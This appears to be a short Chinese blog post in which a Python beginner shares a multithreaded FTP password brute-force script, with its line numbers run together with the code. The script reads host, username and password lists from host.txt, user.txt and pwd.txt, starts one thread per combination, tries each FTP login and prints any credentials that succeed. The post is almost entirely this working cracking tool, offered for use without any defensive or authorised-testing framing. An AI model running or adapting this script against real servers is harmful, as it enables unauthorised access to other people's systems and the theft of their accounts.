标签:
初学python, 自己编写了个FTP多线爆破小脚本
代码很丑= =
1 #!usr/bin/env python 2 #!coding=utf-8 3 4 __author__=‘zhengjim‘ 5 6 from ftplib import FTP 7 import ftplib 8 from threading import Thread 9 10 def Login(host,username,password): 11 ftp=FTP() 12 try: 13 ftp.connect(host,21,1) 14 ftp.login(username,password) 15 ftp.retrlines(‘LIST‘) 16 ftp.quit() 17 print ‘破解成功,用户名:‘ + username +‘,密码:‘ + password + ‘,IP:‘+ host 18 return True 19 except ftplib.all_errors: 20 pass 21 host=open(‘host.txt‘) 22 for line in host: 23 host=line.strip(‘\n‘) 24 print ‘破解主机:‘ + host 25 user=open(‘user.txt‘) 26 for line in user: 27 user=line.strip(‘\n‘) 28 pwd=open(‘pwd.txt‘,‘r‘) 29 for line in pwd: 30 pwd=line.strip(‘\n‘) 31 t=Thread(target=Login,args=(host,user,pwd)) 32 t.start()
目录下需要host.txt,user.txt ,pwd.txt三个文件。
还需努力!!
标签:
原文地址:http://www.cnblogs.com/zhengjim/p/5618155.html